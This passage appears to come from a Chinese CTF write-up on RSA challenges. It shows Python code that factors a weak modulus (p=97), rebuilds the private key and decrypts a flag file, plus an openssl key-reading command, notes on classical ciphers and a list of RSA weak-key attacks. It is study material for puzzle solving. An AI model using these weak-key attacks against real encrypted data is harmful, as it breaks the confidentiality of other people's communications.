n = 0x79e0bf9b916e59286163a1006f8cefd4c1b080387a6ddb98a3f3984569a4ebb48b22ac36dff7c98e4ebb90ffdd9c07f53a20946f57634fb01f4489fcfc8e402865e152820f3e2989d4f0b5ef1fb366f212e238881ea1da017f754d7840fc38236edba144674464b661d36cdaf52d1e5e7c3c21770c5461a7c1bc2db712a61d992ebc407738fc095cd8b6b64e7e532187b11bf78a8d3ddf52da6f6a67c7e88bef5563cac1e5ce115f3282d5ff9db02278859f63049d1b934d918f46353fea1651d96b2ddd874ec8f1e4b9d487d8849896d1c21fb64029f0d6f47e560555b009b96bfd558228929a6cdf3fb6d47a956829fb1e638fcc1bdfad4ec2c3590dea1ed3
c = 0x1b2b4f9afed5fb5f9876757e959c183c2381ca73514b1918d2f123e386bebe9832835350f17ac439ac570c9b2738f924ef49afea02922981fad702012d69ea3a3c7d1fc8efc80e541ca2622d7741090b9ccd590906ac273ffcc66a7b8c0d48b7d62d6cd6dd4cd75747c55aac28f8be3249eb255d8750482ebf492692121ab4b27b275a0f69b15baef20bf812f3cbf581786128b51694331be76f80d6fb1314d8b280eaa16c767821b9c2ba05dfde5451feef22ac3cb3dfbc88bc1501765506f0c05045184292a75c475486b680f726f44ef8ddfe3c48f75bb03c8d44198ac70e6b7c885f53000654db22c8cee8eb4f65eaeea2da13887aaf53d8c254d2945691

q = n // p
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m))

输出:

16.easyrsa8

给了两个文件

flag.enc和public.key。知道了公钥,可以从公钥里面把n和e分解出来

http://www.hiencode.com/pub_asys.html在线工具分解,当然也可以在kali里分解

n=

1030624729947799119633595470789718935357758961818044661476221898
0226685668311143526740800444344046158260556585833057716406703213
9662499567759272050617318216320254836081828814922148552408418200
2481685903117629136421205429381820439915734695546523258610919976
2630150640804366966946066155685218609638749171632685073

e=65537

分解n。

p=97

q=106249972159566919549855203174197828387397831115262336234662051342543151219702510584956705611794290291345944183845955839
244363030579896461607496959399297130227066841321473005074379950936513608503266587950271044991876848389878395867601515004
796212227929894460104645781488319246866661398816686697306692491058609

解密flag.enc的内容

代码为:

import gmpy2
from Crypto.Cipher import PKCS1_OAEP
# PKCS1 OAEP 是一种基于 RSA 和 OAEP 填充的非对称密码
from Crypto.PublicKey import RSA

e = 65537
n = 10306247299477991196335954707897189353577589618180446614762218980226685668311143526740800444344046158260556585833057716406703213966249956775927205061731821632025483608182881492214855240841820024816859031176291364212054293818204399157346955465232586109199762630150640804366966946066155685218609638749171632685073
p = 106249972159566919549855203174197828387397831115262336234662051342543151219702510584956705611794290291345944183845955839244363030579896461607496959399297130227066841321473005074379950936513608503266587950271044991876848389878395867601515004796212227929894460104645781488319246866661398816686697306692491058609
q = 97

phi_n = (p - 1) * (q - 1)
d = int(gmpy2.invert(e, phi_n))

rsakey = RSA.importKey(open(r'C:\Users\86188\Desktop\public.key', 'r').read())
privatekey = RSA.construct((n, e, d, p, q))
rsa = PKCS1_OAEP.new(privatekey)
m = rsa.decrypt(open(r'C:\Users\86188\Desktop\flag.enc', 'rb').read())
print(m)

输出:

 同样的这题可以用kali的工具做

我们使用如下命令对 pubkey.pem 找出指数 e 和模数 N

openssl rsa -pubin -text -modulus -in warmup -in public.key

 结果如下:

 它解出来的n是16进制的,需要转换成10进制数。这样才可以分解n,来得到p和q,就可以用代码。

总结:

mysql工具的使用。

埃特巴什编码(2024年国赛密码题就有一题是这个)

古典密码解密:

AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

 再用栅栏解密解一下就可以得到flag

 base解码,

base64编码进行偏移解码。

当铺密码

8.知道p,q,e,c,求m

9.知道e,n,c求m

10.两组e,n,c而且e相等

11.两组e,n,c。但是是n相同

12.给e,n,c,e特别小,小明文攻击

13.给e,n,c,e特别大,低解密指数攻击-----维纳攻击

14.p约等于q

15.p>>128<<128,p低位数据缺失----知道p的高位

16.flag.enc和public.key

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值